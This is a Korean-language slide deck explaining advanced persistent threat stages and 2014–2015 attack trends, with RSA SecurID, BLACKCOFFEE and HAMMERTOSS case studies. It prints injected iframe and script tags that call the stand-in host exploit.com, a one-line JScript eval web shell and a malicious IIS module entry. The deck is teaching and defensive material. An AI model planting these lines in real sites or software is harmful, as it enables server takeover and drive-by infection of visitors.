Upload
-
View
3.504
Download
1
Embed Size (px)
Citation preview
APT(지능형 지속 위협) 용어에 대한 밴더들의 정의
.�Drive-By�Downloads,�SQL�Injection,�SpyWare,�Phishing,�Spam�등의�다양한�기술을�이용한�타겟팅�공격�
.�특정�대상의�기밀정보�탈취�혹은�정치적�목적을�위해�최신의�복합적인�공격�기법을�사용하는�형태의�공격
.�즉각적인�금전적�이득이�아닌�중요한�정보를�탈취하는�것을�목표로�하여�장기간동안�은밀하게�수행하는�공격
.�장기간에�걸쳐�목표�조직�혹은�사용자의�중요한�자산을�탈취하는데�목표를�두고�수행되는�공격
.�탐지�회피�기술을�사용하며�공격받고�있다는�사실을�숨기며,�장기간에�걸쳐서�피해를�주는�형태의�공격�
.�장기간에�걸쳐�미리�정해진�특정�목표에�대해�위협을�가하는�공격
기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
Incursion Discovery Capture ExfiltrationPhase�1 Phase�2 Phase�3 Phase�4
세부 특징
Reconnaissance
Social engineering
Zero-day vulnerability
Manual operations
관련 스킬셋
웹�사이트�서핑
구글링SNS�조사 웹�사이트�취약점�공격
시스템�취약점�공격
스피어�피싱�(링크/문서파일첨부�메일)
저장매체를�이용한�악성코드�유입 워터링�홀
DEMOStep1. 공격자는 웹사이트의 취약점 공격 (웹쉘 취약점을 이용한 서버 시스템 제어권한 탈취)
Step2. 공격자는 제어권한을 획득한 웹서버에 악성코드 삽입 (랜딩 페이지로 유도하는 iframe 삽입)
Step3. 사용자는 공격당한 웹 사이트에 방문하게 되고 악성 프레임에 의해 익스플로잇킷의 랜딩 페이지를 로딩함 (랜딩 페이지는 사용자의 운영체제와 브라우저, 플러그인의 종류, 사용언어, 과거 방문여부 등을 검사)
드라이브�바이�다운로드
기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
침해당한�웹서버
<iframe�src=http://exploit.com/land.html�..�
<script�src=http://exploit.com/mal.js�..
익스플로잇킷�서버
랜딩페이지
익스플로잇#2익스플로잇#1 익스플로잇#N
•브라우저와�운영체제의�이름,�버전�체크�
•설치된�브라우저�플러그인과�버전을�확인하여�취약�여부�확인�
•취약점을�공격하는�익스플로잇�페이지로�유도
사용자�PC
Step1.�웹쉘�업로드Step2.�악성�프레임/스크립트�삽입
엔터프라이즈�네트워크�인프라
Step3-1.�웹�사이트�방문
공격자�&�C2
Step3-2.�랜딩�페이지�로딩
Step3-3.�웹�브라우저�플러그인���������������익스플로잇�유입
Step3-3.�악성코드�감염
데이터베이스�서버
기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
Incursion Discovery Capture ExfiltrationPhase�1 Phase�2 Phase�3 Phase�4
세부 특징
Multiple vectors
Run silent, run deep
Research and analysis
관련 스킬셋
DEMO
추가�악성코드�다운로드
탐지�우회를�위한�스파게티�코
드
서비스�취약점�스캐닝운영체제�및�서비스�버전�파악
네트워크�구조�파악
Step4. 공격자는 네트워크 악성코드를 추가로 다운로드 하여 목표의 네트워크 정보를 수집함
(추가 악성코드 다운로드, 네트워크 구조 파악)
키로깅을�통한�계정정보�탈취
Step5. 사용자가 입력하는 키스트로크 정보를 로깅하여 데이터베이스 서버의 계정 정보를 수집함
(키로깅을 통한 계정정보 탈취)
기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
침해당한�웹서버
익스플로잇킷�서버
랜딩페이지
익스플로잇#2익스플로잇#1 익스플로잇#N
•브라우저와�운영체제의�이름,�버전�체크�
•설치된�브라우저�플러그인과�버전을�확인하여�취약�여부�확인�
•취약점을�공격하는�익스플로잇�페이지로�유도
사용자�PC
공격자�&�C2Step�4-1.�추가�악성코드�유입
엔터프라이즈�네트워크�인프라
데이터베이스�서버
Step�4-2.�내부�네트워크�정보�수집
Step�5.�키로깅
<iframe�src=http://exploit.com/land.html�..�
<script�src=http://exploit.com/mal.js�..
기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
Incursion Discovery Capture ExfiltrationPhase�1 Phase�2 Phase�3 Phase�4
세부 특징
Long-term occupancy
Control
관련 스킬셋
DEMO
데이터베이스�정보�접근루트킷�설치
를�통한�은닉시스템�파괴시스템�재부
팅
Step6. 공격자는 보안 솔루션의 탐지 우회를 우회 터널링 및 포트 포워딩을 수행함 (암호화 통신)
암호화�통신
Step7. 공격자는 암호화된 채널을 통해 데이터베이스 서버에 접근함 (데이터베이스 정보 접근)
기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
침해당한�웹서버
익스플로잇킷�서버
랜딩페이지
익스플로잇#2익스플로잇#1 익스플로잇#N
•브라우저와�운영체제의�이름,�버전�체크�
•설치된�브라우저�플러그인과�버전을�확인하여�취약�여부�확인�
•취약점을�공격하는�익스플로잇�페이지로�유도
사용자�PC
공격자�&�C2
Step�6.�터널링�및�포트포워딩
엔터프라이즈�네트워크�인프라
데이터베이스�서버
<iframe�src=http://exploit.com/land.html�..�
<script�src=http://exploit.com/mal.js�..
Step�7.�데이터베이스�접근
기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
Incursion Discovery Capture ExfiltrationPhase�1 Phase�2 Phase�3 Phase�4
세부 특징
Data transmission
Ongoing analysis
스킬셋
DEMO
탈취한�개인정보�판매
수집한�데이터�패킹�및�암호화�압축탈취한�데이터�전송
Step8.�공격자는�탈취한�데이터베이스�정보를�ZIP�파일로�암호화�압축함��
�(수집한�데이터�패킹�및�암호화�압축)
Step9.�ZIP�파일을�암호화된�채널을�통해�공격자에게�전송함�(탈취한�데이터�전송)
기존 APT(기능형 지속 위협 공격)의 절차 및 시나리오 예
침해당한�웹서버
익스플로잇킷�서버
랜딩페이지
익스플로잇#2익스플로잇#1 익스플로잇#N
•브라우저와�운영체제의�이름,�버전�체크�
•설치된�브라우저�플러그인과�버전을�확인하여�취약�여부�확인�
•취약점을�공격하는�익스플로잇�페이지로�유도
사용자�PC
공격자�&�C2Step�9.�압축된�데이터베이스��������������파일�전송
<iframe�src=http://exploit.com/land.html�..�
<script�src=http://exploit.com/mal.js�..
Step�8.�데이터베이스�정보������������수집�및�압축
엔터프라이즈�네트워크�인프라
데이터베이스�서버
익스플로잇#2익스플로잇#1 익스플로잇#N
2014~2015년도 APT(지능형 지속 위협)에서 사용되는 스킬셋의 변화
침해당한�웹서버
익스플로잇킷�서버
랜딩페이지
익스플로잇#2익스플로잇#1 익스플로잇#N
•브라우저와�운영체제의�이름,�버전�체크�
•설치된�브라우저�플러그인과�버전을�확인하여�취약�여부�확인�
•취약점을�공격하는�익스플로잇�페이지로�유도
사용자�PC
공격자�&�C2
데이터베이스�서버
•단일라인�웹쉘�사용�
<%@�Page�Language="Jscript"%><%eval(Request.Item["p1"],"unsafe");%>
•센서�우회를�위한�SSL�통신�사용
•IIS의�web.config�조작을�통한�악성�DLL�모듈�삽입�
<modules>���<add�type="Microsoft.Exchange.Clients.Bad ����Module"�name="BadModule"��/></modules>
•VPN을�이용한�조직의�네트워크�인프라�진입
엔터프라이즈�네트워크�인프라
•WMI/파워쉘�기반�백도어�삽입(objects.data�데이터베이스�파일)
•소스코드가�수정된�Mimikatz를�이용한�메모리상�패스워드�수집
•난독화,�코드조작�예방을�위한�무결성�검사�기능�추가�
•가상머신�탐지기능�추가
•공격에�사용되는�서버시스템의�도메인쉐도잉(Domain�Shadowing)
VPN Hijacking : RSA Security "Secure ID" Hacking 사례
�RSA�Security�
마이크로소프트�오피스�엑셀�파일이��
첨부된�스피어�피싱�메일�발송
�사용자�PC�
사용자가�엑셀�
파일을�실행함
트로이안�유형의��
악성코드�감염
"Secure�ID"�서버
RSA�Security�
내부�네트워크
OTP�생성�알고리즘,�Initial�Value,�
사용자(고객)�내역등의�정보�접근�및�탈취
- "Secure�ID"는�RSA�Security의�OTP(One�Time�Password)�
- 포준�500대�기업의�75%�이상이�사용하고�있음�
- 전�세계�1500만명�이상이�사용하는�대표적�OTP
"Poison�Ivy�RAT"를��
이용한�원격�제어
����직원용�VPN�네트워크를�이용하여�
���록히드�마틴의�내부�네트워크�접근
"Secure�ID"�사용�고객 "Secure�ID"�사용�고객 "Secure�ID"�사용�고객
탈취한�OTP�정보를�이용하여�접근�및�공격시도
F22등을�생산하는�전세계�최고의��
방위�산업체
미�국방부에�통신,�정보,�정탐�
및�정찰�등의�장비와�서비스를�
공급하는�업체
항공우주�방위산업체
2014~2015년도 APT(지능형지속위협)의 특징 : 익스플로잇 킷의 신속한 모듈 업데이트
특징1.�패치가�발표되자마자�해당�취약점에�대한�익스플로잇�모듈�적용
�패치된�취약점도�익스플로잇�킷(e.g.�앵글러,�뉴클리어)의�공격모듈로�빈번하게�사용됨�
�패치�업데이트를�제때�적용하기�어려운�경우�생기는�패치허점(Patching�Gap)을�악용
출처 : Cisco 2015 - Midyear Security Report
2014~2015년도 APT(지능형지속위협)의 특징 : APT17 - BLACKCOFFEE 사례
특징2.�SNS�및�포럼�쓰레드등을�이용한�명령체계
마이크로소프트�테크넷�포럼�쓰래드
@MICROSOFT<eight-character�string�with�two�characters�per�octet>CORPORATION
특정�문자열�패턴으로�구성된�인코딩된�C2�IP�주소
BLACKCOFEE�악성코드에�감염된�사용자
BLACKCOFFEE는�주기적으로�페이지를�검사하여�인코딩된�C2�IP�주소가�담겨진�문자열을�찾으며,�해당�문자열을�가져온�후�디코딩
BLACKCOFFEEC2�서버
BLACKCOFFEE는�리버스�쉘,�파일�업로드/ 다운로드,�파일�이름조작/이동/삭제,�프로세스�종료등의�기능을�포함하여�약�15개의�명령체계를�가짐
미국의�정부기관,�방위산업체,�로펌,�정보보안�업체등에�속한�사용자를�주요�타겟으로�함
2014~2015년도 APT(지능형지속위협)의 특징 : APT29 - HAMMERTOSS 사례
특징2.�SNS�및�포럼�쓰레드를�이용한�명령체계
트위터�핸들�(사용자의�ID와�연관된�트위터�웹�사이트)
Step2�
•HAMMERTOSS는�특정�날짜에�특정�트위터�핸들을�방문하도록�하는알고리즘을�가지고�있음�
•날짜와�계정이름을�조합하여�방문할�URL�패턴을�생성하며,�주기적으로�변하므로�패턴을�특정하기�어려움�(e.g.�https://www.twitter.com/abBob52b/)
Bobby�
@abBob52b
Step1.�APT29에�속한�공격자는�지정한�날짜에�트위터�핸들을�등록(사용되는�핸들의�URL은�악성코드의�알고리즘과�동일하게�생성)
HAMMERTOSS�악성코드에�감염된�사용자
Follow�doctorhandbook.com#101docto�
•암호화된�이미지파일을�보관하고�있는�서버�URL�
•이미지파일�내의�암호화된�명령�문자열�옵셋과�복호에사용되는�문자열
doctorhandbook.com
Step3.�이미지파일을�캐쉬�디렉토리에�다운로드한�후������������파일내의�데이터�복호화�및�명령�획득������������(복호된�데이터는�파워쉘�명령을�포함)�
수집한�정보를�저장하는�클라우드
Step4.�명령실행�후�수집한�정보를� ������������클라우드에�업로드
옵셋�101에서�암호화된�데이터�획득
Step5.�정보�수집